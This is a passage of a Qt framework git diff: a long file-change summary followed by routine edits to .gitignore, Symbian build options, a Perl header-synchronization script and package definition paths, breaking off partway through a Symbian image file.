-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.pngbin0 -> 465 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.pngbin0 -> 469 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.pngbin0 -> 557 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.pngbin0 -> 537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.pngbin0 -> 343 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.pngbin0 -> 465 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.pngbin0 -> 469 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.pngbin0 -> 557 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.pngbin0 -> 537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml13
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.pngbin0 -> 7233 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.pngbin0 -> 609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.pngbin0 -> 677 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml191
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.pngbin0 -> 859 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.pngbin0 -> 1049 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.pngbin0 -> 1051 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.pngbin0 -> 698 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.pngbin0 -> 698 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.pngbin0 -> 1063 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml3551
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.pngbin0 -> 609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.pngbin0 -> 677 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml191
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml20
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml1039
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.pngbin0 -> 1037 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.pngbin0 -> 1042 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.pngbin0 -> 632 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.pngbin0 -> 830 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.pngbin0 -> 849 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.qml3279
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml21
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml13
-rw-r--r--tests/auto/declarative/qmlvisual/qmlvisual.pro1
-rw-r--r--tests/auto/declarative/qperformancetimer/qperformancetimer.pro7
-rw-r--r--tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp68
-rw-r--r--tests/auto/gui.pro13
-rw-r--r--tests/auto/help.pro8
-rw-r--r--tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml3
-rw-r--r--tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result5
-rw-r--r--tests/auto/moc/tst_moc.cpp239
-rw-r--r--tests/auto/networkselftest/networkselftest.pro1
-rw-r--r--tests/auto/qclipboard/tst_qclipboard.cpp2
-rw-r--r--tests/auto/qcolor/tst_qcolor.cpp10
-rw-r--r--tests/auto/qcoreapplication/tst_qcoreapplication.cpp45
-rw-r--r--tests/auto/qdbusinterface/tst_qdbusinterface.cpp44
-rw-r--r--tests/auto/qdbusmarshall/test/test.pro3
-rw-r--r--tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp210
-rw-r--r--tests/auto/qdbusperformance/tst_qdbusperformance.cpp4
-rw-r--r--tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp13
-rw-r--r--tests/auto/qeventloop/tst_qeventloop.cpp41
-rw-r--r--tests/auto/qfileopenevent/qfileopenevent.pro2
-rw-r--r--tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.cpp (renamed from tools/qdoc3/ccodeparser.cpp)53
-rw-r--r--tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro10
-rw-r--r--tests/auto/qfileopenevent/test/test.pro7
-rw-r--r--tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp362
-rw-r--r--tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp6
-rw-r--r--tests/auto/qfontdatabase/tst_qfontdatabase.cpp4
-rw-r--r--tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp12
-rw-r--r--tests/auto/qglthreads/tst_qglthreads.cpp2
-rw-r--r--tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp158
-rw-r--r--tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp26
-rw-r--r--tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp32
-rw-r--r--tests/auto/qgraphicsview/tst_qgraphicsview.cpp20
-rw-r--r--tests/auto/qhttp/tst_qhttp.cpp4
-rw-r--r--tests/auto/qimagereader/images/corrupt-pixel-count.xpm11
-rw-r--r--tests/auto/qimagereader/tst_qimagereader.cpp3
-rw-r--r--tests/auto/qinputcontext/tst_qinputcontext.cpp32
-rw-r--r--tests/auto/qlayout/qlayout.pro6
-rw-r--r--tests/auto/qlayout/tst_qlayout.cpp3
-rw-r--r--tests/auto/qmake/testcompiler.cpp23
-rw-r--r--tests/auto/qmutex/tst_qmutex.cpp38
-rw-r--r--tests/auto/qnetworkreply/tst_qnetworkreply.cpp64
-rw-r--r--tests/auto/qnetworksession/test/tst_qnetworksession.cpp4
-rw-r--r--tests/auto/qpainter/tst_qpainter.cpp22
-rw-r--r--tests/auto/qpainterpath/tst_qpainterpath.cpp5
-rw-r--r--tests/auto/qprocess/tst_qprocess.cpp6
-rw-r--r--tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro4
-rw-r--r--tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp203
-rw-r--r--tests/auto/qscriptclass/tst_qscriptclass.cpp603
-rw-r--r--tests/auto/qscriptcontext/tst_qscriptcontext.cpp445
-rw-r--r--tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp14
-rw-r--r--tests/auto/qscriptengine/tst_qscriptengine.cpp907
-rw-r--r--tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp108
-rw-r--r--tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp53
-rw-r--r--tests/auto/qscriptvalue/tst_qscriptvalue.cpp10
-rw-r--r--tests/auto/qset/tst_qset.cpp11
-rw-r--r--tests/auto/qsqldatabase/tst_databases.h24
-rw-r--r--tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp31
-rw-r--r--tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp371
-rw-r--r--tests/auto/qstatemachine/tst_qstatemachine.cpp68
-rw-r--r--tests/auto/qstring/tst_qstring.cpp4
-rw-r--r--tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp18
-rw-r--r--tests/auto/qsvgrenderer/qsvgrenderer.pro3
-rw-r--r--tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp8
-rw-r--r--tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp5
-rw-r--r--tests/auto/qtextcursor/tst_qtextcursor.cpp28
-rw-r--r--tests/auto/qthread/tst_qthread.cpp16
-rw-r--r--tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp5
-rw-r--r--tests/auto/qwidget/tst_qwidget.cpp95
-rw-r--r--tests/auto/qwidget/tst_qwidget_mac_helpers.h13
-rw-r--r--tests/auto/qwidget/tst_qwidget_mac_helpers.mm44
-rw-r--r--tests/benchmarks/corelib/corelib.pro3
-rw-r--r--tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro8
-rw-r--r--tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp100
-rw-r--r--tests/benchmarks/script/context2d/context2d.pro22
-rw-r--r--tests/benchmarks/script/context2d/tst_context2d.cpp177
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro10
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc5
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js2
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js8
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js3
-rw-r--r--tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp109
-rw-r--r--tests/benchmarks/script/script.pro4
-rw-r--r--tools/assistant/tools/assistant/helpviewer_qwv.cpp2
-rw-r--r--tools/configure/configure.pro2
-rw-r--r--tools/configure/configureapp.cpp58
-rw-r--r--tools/configure/environment.cpp61
-rw-r--r--tools/configure/environment.h4
-rw-r--r--tools/designer/src/components/propertyeditor/propertyeditor.cpp4
-rw-r--r--tools/designer/src/components/signalsloteditor/signalslot_utils.cpp27
-rw-r--r--tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp8
-rw-r--r--tools/designer/src/lib/shared/grid.cpp20
-rw-r--r--tools/designer/src/lib/shared/layout.cpp22
-rw-r--r--tools/designer/src/lib/shared/qlayout_widget.cpp3
-rw-r--r--tools/linguist/lupdate/qdeclarative.cpp2
-rw-r--r--tools/linguist/lupdate/qscript.cpp2
-rw-r--r--tools/linguist/lupdate/qscript.g2
-rw-r--r--tools/qdbus/qdbus/qdbus.cpp13
-rw-r--r--tools/qdoc3/JAVATODO.txt28
-rw-r--r--tools/qdoc3/TODO.txt9
-rw-r--r--tools/qdoc3/apigenerator.cpp150
-rw-r--r--tools/qdoc3/archiveextractor.cpp108
-rw-r--r--tools/qdoc3/atom.cpp30
-rw-r--r--tools/qdoc3/atom.h75
-rw-r--r--tools/qdoc3/bookgenerator.cpp64
-rw-r--r--tools/qdoc3/codemarker.cpp9
-rw-r--r--tools/qdoc3/codemarker.h15
-rw-r--r--tools/qdoc3/codeparser.cpp41
-rw-r--r--tools/qdoc3/codeparser.h6
-rw-r--r--tools/qdoc3/command.cpp103
-rw-r--r--tools/qdoc3/config.cpp78
-rw-r--r--tools/qdoc3/config.h10
-rw-r--r--tools/qdoc3/cppcodemarker.cpp541
-rw-r--r--tools/qdoc3/cppcodemarker.h59
-rw-r--r--tools/qdoc3/cppcodeparser.cpp19
-rw-r--r--tools/qdoc3/cppcodeparser.h4
-rw-r--r--tools/qdoc3/cpptoqsconverter.cpp415
-rw-r--r--tools/qdoc3/dcfsection.cpp111
-rw-r--r--tools/qdoc3/dcfsection.h94
-rw-r--r--tools/qdoc3/ditaxmlgenerator.cpp4800
-rw-r--r--tools/qdoc3/ditaxmlgenerator.h260
-rw-r--r--tools/qdoc3/doc.cpp1073
-rw-r--r--tools/qdoc3/doc.h2
-rw-r--r--tools/qdoc3/doc/qdoc-manual.qdoc54
-rw-r--r--tools/qdoc3/generator.cpp247
-rw-r--r--tools/qdoc3/generator.h9
-rw-r--r--tools/qdoc3/helpprojectwriter.cpp34
-rw-r--r--tools/qdoc3/htmlgenerator.cpp787
-rw-r--r--tools/qdoc3/htmlgenerator.h58
-rw-r--r--tools/qdoc3/jambiapiparser.cpp546
-rw-r--r--tools/qdoc3/jambiapiparser.h99
-rw-r--r--tools/qdoc3/javacodemarker.cpp203
-rw-r--r--tools/qdoc3/javacodemarker.h83
-rw-r--r--tools/qdoc3/javadocgenerator.cpp454
-rw-r--r--tools/qdoc3/javadocgenerator.h95
-rw-r--r--tools/qdoc3/jscodemarker.cpp151
-rw-r--r--tools/qdoc3/jscodemarker.h (renamed from tools/qdoc3/archiveextractor.h)35
-rw-r--r--tools/qdoc3/linguistgenerator.cpp245
-rw-r--r--tools/qdoc3/location.cpp4
-rw-r--r--tools/qdoc3/main.cpp178
-rw-r--r--tools/qdoc3/mangenerator.cpp228
-rw-r--r--tools/qdoc3/node.cpp45
-rw-r--r--tools/qdoc3/node.h13
-rw-r--r--tools/qdoc3/pagegenerator.cpp63
-rw-r--r--tools/qdoc3/pagegenerator.h18
-rw-r--r--tools/qdoc3/plaincodemarker.cpp7
-rw-r--r--tools/qdoc3/plaincodemarker.h3
-rw-r--r--tools/qdoc3/polyuncompressor.cpp109
-rw-r--r--tools/qdoc3/polyuncompressor.h71
-rw-r--r--tools/qdoc3/puredocparser.cpp (renamed from tools/qdoc3/sgmlgenerator.cpp)12
-rw-r--r--tools/qdoc3/puredocparser.h (renamed from tools/qdoc3/ccodeparser.h)24
-rw-r--r--tools/qdoc3/qdoc3.pro64
-rw-r--r--tools/qdoc3/qmlcodemarker.cpp302
-rw-r--r--tools/qdoc3/qmlcodemarker.h86
-rw-r--r--tools/qdoc3/qmlcodeparser.cpp235
-rw-r--r--tools/qdoc3/qmlcodeparser.h93
-rw-r--r--tools/qdoc3/qmlmarkupvisitor.cpp870
-rw-r--r--tools/qdoc3/qmlmarkupvisitor.h182
-rw-r--r--tools/qdoc3/qmlvisitor.cpp221
-rw-r--r--tools/qdoc3/qmlvisitor.h (renamed from tools/qdoc3/cpptoqsconverter.h)58
-rw-r--r--tools/qdoc3/qsakernelparser.cpp186
-rw-r--r--tools/qdoc3/qscodemarker.cpp378
-rw-r--r--tools/qdoc3/qscodemarker.h79
-rw-r--r--tools/qdoc3/qscodeparser.cpp944
-rw-r--r--tools/qdoc3/qscodeparser.h128
-rw-r--r--tools/qdoc3/quoter.cpp79
-rw-r--r--tools/qdoc3/quoter.h4
-rw-r--r--tools/qdoc3/test/compat.qdocconf8
-rw-r--r--tools/qdoc3/test/macros.qdocconf1
-rw-r--r--tools/qdoc3/test/qt-api-only.qdocconf34
-rw-r--r--tools/qdoc3/test/qt-build-docs-online.qdocconf2
-rw-r--r--tools/qdoc3/test/qt-build-docs.qdocconf151
-rw-r--r--tools/qdoc3/test/qt-cpp-ignore.qdocconf10
-rw-r--r--tools/qdoc3/test/qt-defines.qdocconf49
-rw-r--r--tools/qdoc3/test/qt-ditaxml.qdocconf42
-rw-r--r--tools/qdoc3/test/qt-html-default-styles.qdocconf32
-rw-r--r--tools/qdoc3/test/qt-html-online-styles.qdocconf72
-rw-r--r--tools/qdoc3/test/qt-html-templates-online.qdocconf232
-rw-r--r--tools/qdoc3/test/qt-html-templates.qdocconf234
-rw-r--r--tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf176
-rw-r--r--tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf236
-rw-r--r--tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf176
-rw-r--r--tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf347
-rw-r--r--tools/qdoc3/test/qt-project-api-only.qdocconf32
-rw-r--r--tools/qdoc3/test/qt-project.qdocconf110
-rw-r--r--tools/qdoc3/test/qt-webxml.qdocconf12
-rw-r--r--tools/qdoc3/test/qt.qdocconf151
-rw-r--r--tools/qdoc3/test/qt_ja_JP.qdocconf118
-rw-r--r--tools/qdoc3/test/qt_zh_CN.qdocconf116
-rw-r--r--tools/qdoc3/test/scripts/functions.js60
-rw-r--r--tools/qdoc3/test/scripts/jquery.js152
-rw-r--r--tools/qdoc3/test/style/style.css1051
-rw-r--r--tools/qdoc3/test/style/style_ie6.css54
-rw-r--r--tools/qdoc3/test/style/style_ie7.css19
-rw-r--r--tools/qdoc3/test/style/style_ie8.css0
-rw-r--r--tools/qdoc3/text.cpp138
-rw-r--r--tools/qdoc3/text.h2
-rw-r--r--tools/qdoc3/tokenizer.cpp1
-rw-r--r--tools/qdoc3/tr.h14
-rw-r--r--tools/qdoc3/tree.cpp183
-rw-r--r--tools/qdoc3/uncompressor.cpp108
-rw-r--r--tools/qdoc3/webxmlgenerator.cpp1195
-rw-r--r--tools/qdoc3/webxmlgenerator.h127
-rw-r--r--tools/qml/loggerwidget.cpp29
-rw-r--r--tools/qml/loggerwidget.h4
-rw-r--r--tools/qml/main.cpp57
-rw-r--r--tools/qml/qdeclarativetester.cpp5
-rw-r--r--tools/qml/qml.pri15
-rw-r--r--tools/qml/qml.pro11
-rw-r--r--tools/qml/qmlruntime.cpp13
-rw-r--r--tools/qvfb/qanimationwriter.cpp6
-rw-r--r--tools/runonphone/main.cpp33
-rw-r--r--tools/shared/symbian/epocroot.cpp5
-rwxr-xr-x[-rw-r--r--]translations/assistant_cs.ts1077
-rwxr-xr-x[-rw-r--r--]translations/designer_cs.ts1472
-rwxr-xr-x[-rw-r--r--]translations/linguist_cs.ts1396
-rw-r--r--translations/linguist_de.ts2
-rw-r--r--translations/linguist_ja.ts2
-rw-r--r--translations/linguist_ru.ts2
-rw-r--r--translations/linguist_sl.ts2
-rw-r--r--translations/linguist_uk.ts2
-rwxr-xr-x[-rw-r--r--]translations/qt_cs.ts4262
-rw-r--r--translations/qt_de.ts174
-rw-r--r--translations/qt_fr.ts2
-rw-r--r--translations/qt_gl.ts2720
-rwxr-xr-x[-rw-r--r--]translations/qt_help_cs.ts166
-rw-r--r--translations/qt_help_gl.ts320
-rw-r--r--translations/qt_hu.ts2
-rw-r--r--translations/qt_ja.ts2
-rw-r--r--translations/qt_pl.ts2
-rw-r--r--translations/qt_ru.ts2
-rw-r--r--translations/qt_sl.ts2
-rw-r--r--translations/qt_uk.ts2
-rw-r--r--util/integrity/qt.bod111
-rw-r--r--util/xkbdatagen/README1
-rw-r--r--util/xkbdatagen/main.cpp1
1147 files changed, 55578 insertions, 60570 deletions
diff --git a/.gitignore b/.gitignore
index d446680..462f8e4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -249,3 +249,13 @@ src/network/lib
src/xml/lib/
.pc/
+
+# INTEGRITY generated files
+*.gpj
+*.int
+*.ael
+*.dla
+*.dnm
+*.dep
+*.map
+work
diff --git a/config.profiles/symbian/bld.inf b/config.profiles/symbian/bld.inf
index d2d959b..ddb5157 100644
--- a/config.profiles/symbian/bld.inf
+++ b/config.profiles/symbian/bld.inf
@@ -78,5 +78,5 @@ translations/qt_zh_tw_symbian.ts /epoc32/include/platform/qt/translations/qt_zh_
PRJ_EXTENSIONS
START EXTENSION qt/qtconfig
OPTION QT_ROOT ..
-OPTION OPTIONS -opensource -confirm-license -openvg -opengl-es-2 -script -no-scripttools -no-webkit -make make -graphicssystem openvg -no-phonon-backend -usedeffiles -dont-process -nomake examples -nomake demos -nomake tools -audio-backend -fpu softvfp+vfpv2
+OPTION OPTIONS -opensource -confirm-license -openvg -opengl-es-2 -script -no-scripttools -no-webkit -make make -graphicssystem openvg -phonon -phonon-backend -usedeffiles -dont-process -nomake examples -nomake demos -nomake tools -audio-backend -fpu softvfp+vfpv2
END \ No newline at end of file
diff --git a/config.profiles/symbian/headerexport b/config.profiles/symbian/headerexport
index e9e6f3b..d9f99e5 100644
--- a/config.profiles/symbian/headerexport
+++ b/config.profiles/symbian/headerexport
@@ -3,7 +3,7 @@
#
# Synchronizes Qt header files - internal development tool.
#
-# Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+# Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
# Contact: Nokia Corporation (qt-info@nokia.com)
#
######################################################################
@@ -315,17 +315,16 @@ sub classNames {
}
######################################################################
-# Syntax: syncHeader(header, iheader, copy, timestamp)
+# Syntax: syncHeader(header, iheader, copy)
# Params: header, string, filename to create "symlink" for
# iheader, string, destination name of symlink
# copy, forces header to be a copy of iheader
-# timestamp, the requested modification time if copying
#
# Purpose: Syncronizes header to iheader
# Returns: 1 if successful, else 0.
######################################################################
sub syncHeader {
- my ($header, $iheader, $copy, $ts) = @_;
+ my ($header, $iheader, $copy) = @_;
$iheader =~ s=\\=/=g;
$header =~ s=\\=/=g;
return copyFile($iheader, $header) if($copy);
@@ -339,7 +338,6 @@ sub syncHeader {
open HEADER, ">$header" || die "Could not open $header for writing!\n";
print HEADER "#include \"$iheader_out\"\n";
close HEADER;
- utime(time, $ts, $header) or die "$iheader, $header";
return 1;
}
return 0;
@@ -453,48 +451,21 @@ sub fileCompare {
sub copyFile
{
my ($file,$ifile, $copy,$knowdiff,$filecontents,$ifilecontents) = @_;
- # Bi-directional synchronization
+
open( I, "< " . $file ) || die "Could not open $file for reading";
local $/;
binmode I;
$filecontents = <I>;
close I;
- if ( open(I, "< " . $ifile) ) {
- local $/;
- binmode I;
- $ifilecontents = <I>;
- close I;
- $copy = fileCompare($file, $ifile);
- $knowdiff = 0,
- } else {
- $copy = -1;
- $knowdiff = 1;
- }
- if ( $knowdiff || ($filecontents ne $ifilecontents) ) {
- if ( $copy > 0 && !$oneway) {
- my $file_dir = dirname($file);
- mkpath $file_dir, !$quiet unless(-e $file_dir);
- open(O, "> " . $file) || die "Could not open $file for writing (no write permission?)";
- local $/;
- binmode O;
- print O $ifilecontents;
- close O;
- utime time, (stat($ifile))[9], $file;
- return 1;
- } elsif ( $copy < 0 ) {
- my $ifile_dir = dirname($ifile);
- mkpath $ifile_dir, !$quiet unless(-e $ifile_dir);
- open(O, "> " . $ifile) || die "Could not open $ifile for writing (no write permission?)";
- local $/;
- binmode O;
- print O $filecontents;
- close O;
- utime time, (stat($file))[9], $ifile;
- return 1;
- }
- }
- return 0;
+ my $ifile_dir = dirname($ifile);
+ mkpath $ifile_dir, !$quiet unless(-e $ifile_dir);
+ open(O, "> " . $ifile) || die "Could not open $ifile for writing (no write permission?)";
+ local $/;
+ binmode O;
+ print O $filecontents;
+ close O;
+ return 1;
}
######################################################################
@@ -848,7 +819,6 @@ foreach my $lib (@modules_to_sync) {
print "SYMBOL: $_\n";
}
} else {
- my $ts = (stat($iheader))[9];
#find out all the places it goes..
my @headers;
if ($public_header) {
@@ -887,18 +857,18 @@ foreach my $lib (@modules_to_sync) {
# class =~ s,::,/,g;
# }
$class_lib_map_contents .= "QT_CLASS_LIB($full_class, $lib, $header_base)\n";
- $header_copies++ if(syncHeader("$out_basedir/$out_subdir/$lib/$class", "$out_basedir/$out_subdir/$lib/$header", 0, $ts));
+ $header_copies++ if(syncHeader("$out_basedir/$out_subdir/$lib/$class", "$out_basedir/$out_subdir/$lib/$header", 0));
# KDE-Compat headers for Phonon
if ($lib eq "phonon") {
- $header_copies++ if (syncHeader("$out_basedir/$out_subdir/phonon_compat/Phonon/$class", "$out_basedir/$out_subdir/$lib/$header", 0, $ts));
+ $header_copies++ if (syncHeader("$out_basedir/$out_subdir/phonon_compat/Phonon/$class", "$out_basedir/$out_subdir/$lib/$header", 0));
}
}
} elsif ($create_private_headers) {
@headers = ( "$out_basedir/$out_subdir/$lib/private/$header" );
}
foreach(@headers) { #sync them
- $header_copies++ if(syncHeader($_, $iheader, $copy_headers, $ts));
+ $header_copies++ if(syncHeader($_, $iheader, $copy_headers));
}
if($public_header) {
@@ -1132,7 +1102,7 @@ if($check_includes) {
}
}
}
- }
}
+}
exit 0;
diff --git a/config.profiles/symbian/package_definition.xml b/config.profiles/symbian/package_definition.xml
index f0c6652..1c3c1d3 100644
--- a/config.profiles/symbian/package_definition.xml
+++ b/config.profiles/symbian/package_definition.xml
@@ -5,7 +5,7 @@
<package id="qt" name="Qt" levels="tool mw app">
<collection id="qtconf" name="Qt Config" level="tool">
<component id="qt_deviceconfiguration" name="Qt Device Configuration" class="config tool" filter="s60,qt_tools" introduced="^2">
- <unit bldFile="src/config.profiles/symbian"/>
+ <unit bldFile="config.profiles/symbian"/>
</component>
</collection>
<collection id="qt_info" name="Qt Info" level="mw">
@@ -16,7 +16,7 @@
<collection id="qtlocalization" name="Qt Localization" level="app">
<component id="qtlocalization_build" name="Qt localization Build" introduced="^2" filter="s60">
- <unit bldFile="src/config.profiles/symbian/translations_symbian" qt:proFile="translations.pro"/>
+ <unit bldFile="config.profiles/symbian/translations_symbian" qt:proFile="translations.pro"/>
</component>
</collection>
diff --git a/config.profiles/symbian/qt.iby b/config.profiles/symbian/qt.iby
index 2b3be0a..7431cfa 100644
--- a/config.profiles/symbian/qt.iby
+++ b/config.profiles/symbian/qt.iby
@@ -43,8 +43,8 @@ file=ABI_DIR\BUILD_DIR\qsvgicon.dll SHARED_LIB_DIR\qsvgicon.dll
// This is commented out by default, as normally Helix backend will be used.
// If the Helix backend is present, it will override MMF backend, so make sure to remove it from
// image creation in addition to uncommenting the following lines if you want to use MMF backend.
-//file=ABI_DIR\BUILD_DIR\phonon_mmf.dll SHARED_LIB_DIR\phonon_mmf.dll
-//data=\epoc32\data\z\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin
